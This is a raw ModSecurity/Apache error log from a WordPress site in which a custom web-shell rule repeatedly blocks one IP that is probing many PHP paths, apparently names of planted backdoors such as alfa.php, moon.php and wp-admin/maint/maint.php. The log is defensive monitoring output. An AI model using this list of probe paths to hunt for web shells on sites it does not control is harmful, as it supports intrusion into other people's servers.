[Wed Nov 26 00:58:51.850816 2025] [:error] [pid 14078:tid 14145] [client 172.207.189.235:21477] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aSXgS9VXYbb0ii_rVoLgKAAAAIg"]
[Wed Nov 26 00:58:52.083638 2025] [:error] [pid 28739:tid 28770] [client 172.207.189.235:21322] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgTBxGpKmlkG4FexT2oQAAAgg"]
[Wed Nov 26 00:58:52.333315 2025] [:error] [pid 2987:tid 2989] [client 172.207.189.235:21370] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgTM-djEt-pTzPxnwApgAAAUA"]
[Wed Nov 26 00:58:52.587922 2025] [:error] [pid 28836:tid 29014] [client 172.207.189.235:21360] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgTJwNRsoxcLQGkTcdogAAAtg"]
[Wed Nov 26 00:58:52.819954 2025] [:error] [pid 28609:tid 28624] [client 172.207.189.235:21482] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aSXgTCGGdT-nZJVs3x0q9QAAAYY"]
[Wed Nov 26 00:58:53.083097 2025] [:error] [pid 28836:tid 28957] [client 172.207.189.235:21440] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSXgTZwNRsoxcLQGkTcdpwAAAsI"]
[Wed Nov 26 00:58:53.329475 2025] [:error] [pid 43843:tid 43854] [client 172.207.189.235:21342] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSXgTRhx4v3NUNdMKDMiKgAAAck"]
[Wed Nov 26 00:58:53.607042 2025] [:error] [pid 2987:tid 3006] [client 172.207.189.235:21417] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSXgTc-djEt-pTzPxnwAqAAAAVE"]
[Wed Nov 26 00:58:53.839133 2025] [:error] [pid 2987:tid 3004] [client 172.207.189.235:21310] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSXgTc-djEt-pTzPxnwAqQAAAU8"]
[Wed Nov 26 00:58:54.145147 2025] [:error] [pid 14077:tid 14132] [client 172.207.189.235:21250] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSXgThG9n7UHEkwDTygFSwAAAFY"]
[Wed Nov 26 00:58:54.488077 2025] [:error] [pid 14078:tid 14147] [client 172.207.189.235:21259] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSXgTtVXYbb0ii_rVoLgMQAAAIo"]
[Wed Nov 26 00:58:54.740388 2025] [:error] [pid 28836:tid 28955] [client 172.207.189.235:21432] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSXgTpwNRsoxcLQGkTcdqQAAAsA"]
[Wed Nov 26 00:58:55.010781 2025] [:error] [pid 14078:tid 14159] [client 172.207.189.235:21340] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aSXgT9VXYbb0ii_rVoLgMgAAAJY"]
[Wed Nov 26 00:58:55.302243 2025] [:error] [pid 28836:tid 28961] [client 172.207.189.235:21348] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aSXgT5wNRsoxcLQGkTcdqgAAAsY"]
[Wed Nov 26 00:58:55.697350 2025] [:error] [pid 28739:tid 28769] [client 172.207.189.235:21488] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aSXgTxxGpKmlkG4FexT2qAAAAgc"]
[Wed Nov 26 00:58:55.978130 2025] [:error] [pid 28609:tid 28638] [client 172.207.189.235:21464] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aSXgTyGGdT-nZJVs3x0q-AAAAZQ"]
[Wed Nov 26 00:58:56.233472 2025] [:error] [pid 2987:tid 3013] [client 172.207.189.235:21286] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aSXgUM-djEt-pTzPxnwArgAAAVg"]
[Wed Nov 26 00:58:56.517318 2025] [:error] [pid 28609:tid 28641] [client 172.207.189.235:21292] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aSXgUCGGdT-nZJVs3x0q-QAAAZc"]
[Wed Nov 26 00:58:56.805889 2025] [:error] [pid 2987:tid 3007] [client 172.207.189.235:21230] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aSXgUM-djEt-pTzPxnwAsAAAAVI"]
[Wed Nov 26 00:58:57.069645 2025] [:error] [pid 2987:tid 2996] [client 172.207.189.235:21320] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aSXgUc-djEt-pTzPxnwAsgAAAUc"]
[Wed Nov 26 00:58:57.425799 2025] [:error] [pid 14078:tid 14148] [client 172.207.189.235:21435] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aSXgUdVXYbb0ii_rVoLgNgAAAIs"]
[Wed Nov 26 00:58:57.787579 2025] [:error] [pid 14076:tid 14096] [client 172.207.189.235:21372] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgUXsB4Gz6Qw-pvBuApgAAAA8"]
[Wed Nov 26 00:58:58.072915 2025] [:error] [pid 2987:tid 3002] [client 172.207.189.235:21491] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgUs-djEt-pTzPxnwAtAAAAU0"]
[Wed Nov 26 00:58:58.342719 2025] [:error] [pid 43843:tid 43861] [client 172.207.189.235:21369] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgUhhx4v3NUNdMKDMiMgAAAdA"]
[Wed Nov 26 00:58:58.598286 2025] [:error] [pid 14168:tid 14171] [client 172.207.189.235:21367] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aSXgUvR-ZDU0QEgAIIu9pAAAAMA"]
[Wed Nov 26 00:58:58.968190 2025] [:error] [pid 14168:tid 14174] [client 172.207.189.235:21328] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aSXgUvR-ZDU0QEgAIIu9pQAAAMM"]
[Wed Nov 26 00:58:59.203224 2025] [:error] [pid 2987:tid 3009] [client 172.207.189.235:21402] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aSXgU8-djEt-pTzPxnwAtgAAAVQ"]
[Wed Nov 26 00:58:59.448734 2025] [:error] [pid 14077:tid 14111] [client 172.207.189.235:21279] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aSXgUxG9n7UHEkwDTygFUAAAAEE"]
[Wed Nov 26 00:58:59.796483 2025] [:error] [pid 28836:tid 28966] [client 172.207.189.235:21276] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aSXgU5wNRsoxcLQGkTcdrgAAAss"]
[Wed Nov 26 00:59:00.355708 2025] [:error] [pid 14078:tid 14158] [client 172.207.189.235:21415] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSXgVNVXYbb0ii_rVoLgPQAAAJU"]
[Wed Nov 26 00:59:00.627953 2025] [:error] [pid 43843:tid 43846] [client 172.207.189.235:21370] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSXgVBhx4v3NUNdMKDMiOAAAAcE"]
[Wed Nov 26 00:59:00.942427 2025] [:error] [pid 2987:tid 3003] [client 172.207.189.235:21312] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSXgVM-djEt-pTzPxnwAuQAAAU4"]
[Wed Nov 26 00:59:01.347547 2025] [:error] [pid 14077:tid 14119] [client 172.207.189.235:21241] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSXgVRG9n7UHEkwDTygFUgAAAEk"]
[Wed Nov 26 00:59:01.772783 2025] [:error] [pid 14168:tid 14188] [client 172.207.189.235:21253] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aSXgVfR-ZDU0QEgAIIu9pgAAANE"]
[Wed Nov 26 00:59:02.190058 2025] [:error] [pid 43981:tid 43985] [client 172.207.189.235:21497] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aSXgVggZn97m_qh_RaGYzAAAAwI"]
[Wed Nov 26 00:59:02.704336 2025] [:error] [pid 28836:tid 28967] [client 172.207.189.235:21338] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aSXgVpwNRsoxcLQGkTcdsQAAAsw"]
[Wed Nov 26 00:59:03.083904 2025] [:error] [pid 43981:tid 44003] [client 172.207.189.235:21416] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aSXgVwgZn97m_qh_RaGY0AAAAxQ"]
[Wed Nov 26 00:59:03.374181 2025] [:error] [pid 14168:tid 14192] [client 172.207.189.235:21325] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aSXgV_R-ZDU0QEgAIIu9pwAAANU"]
[Wed Nov 26 00:59:03.862756 2025] [:error] [pid 2987:tid 3008] [client 172.207.189.235:21468] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aSXgV8-djEt-pTzPxnwAvQAAAVM"]
[Wed Nov 26 00:59:04.250849 2025] [:error] [pid 14168:tid 14190] [client 172.207.189.235:21365] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aSXgWPR-ZDU0QEgAIIu9qgAAANM"]
[Wed Nov 26 00:59:04.748160 2025] [:error] [pid 28836:tid 28968] [client 172.207.189.235:21196] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aSXgWJwNRsoxcLQGkTcdtwAAAs0"]
[Wed Nov 26 00:59:05.325164 2025] [:error] [pid 28609:tid 28618] [client 172.207.189.235:21263] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgWSGGdT-nZJVs3x0rCAAAAYA"]
[Wed Nov 26 00:59:05.695349 2025] [:error] [pid 2987:tid 2992] [client 172.207.189.235:21399] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgWc-djEt-pTzPxnwAwAAAAUM"]
[Wed Nov 26 00:59:06.368649 2025] [:error] [pid 14076:tid 14084] [client 172.207.189.235:21258] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgWnsB4Gz6Qw-pvBuAvwAAAAM"]
[Wed Nov 26 00:59:06.858332 2025] [:error] [pid 14077:tid 14121] [client 172.207.189.235:21422] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aSXgWhG9n7UHEkwDTygFWAAAAEs"]
[Wed Nov 26 00:59:07.234468 2025] [:error] [pid 28739:tid 28776] [client 172.207.189.235:21270] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSXgWxxGpKmlkG4FexT2sQAAAg4"]
[Wed Nov 26 00:59:07.574325 2025] [:error] [pid 28609:tid 28620] [client 172.207.189.235:21268] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSXgWyGGdT-nZJVs3x0rCwAAAYI"]
[Wed Nov 26 00:59:07.900293 2025] [:error] [pid 14168:tid 14180] [client 172.207.189.235:21433] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSXgW_R-ZDU0QEgAIIu9sgAAAMk"]
[Wed Nov 26 01:00:20.899032 2025] [:error] [pid 2987:tid 2998] [client 172.207.189.235:21316] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSXgpM-djEt-pTzPxnwBiwAAAUk"]
[Wed Nov 26 01:00:21.200415 2025] [:error] [pid 14076:tid 14097] [client 172.207.189.235:21289] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSXgpXsB4Gz6Qw-pvBuBfgAAABA"]
[Wed Nov 26 01:00:21.632285 2025] [:error] [pid 43981:tid 43999] [client 172.207.189.235:21265] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSXgpQgZn97m_qh_RaGZUgAAAxA"]
[Wed Nov 26 01:00:22.345007 2025] [:error] [pid 28836:tid 29013] [client 172.207.189.235:21288] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aSXgppwNRsoxcLQGkTceTAAAAtc"]
[Wed Nov 26 01:00:22.968138 2025] [:error] [pid 43843:tid 43849] [client 172.207.189.235:21351] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/article.php"] [unique_id "aSXgphhx4v3NUNdMKDMipwAAAcQ"]
[Wed Nov 26 01:00:23.455350 2025] [:error] [pid 43843:tid 43858] [client 172.207.189.235:21214] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/article.php"] [unique_id "aSXgpxhx4v3NUNdMKDMiqAAAAc0"]
[Wed Nov 26 01:00:23.698949 2025] [:error] [pid 14168:tid 14182] [client 172.207.189.235:21198] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/article.php"] [unique_id "aSXgp_R-ZDU0QEgAIIu-DgAAAMs"]
[Wed Nov 26 01:00:23.932803 2025] [:error] [pid 14077:tid 14132] [client 172.207.189.235:21314] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/article.php"] [unique_id "aSXgpxG9n7UHEkwDTygGMgAAAFY"]
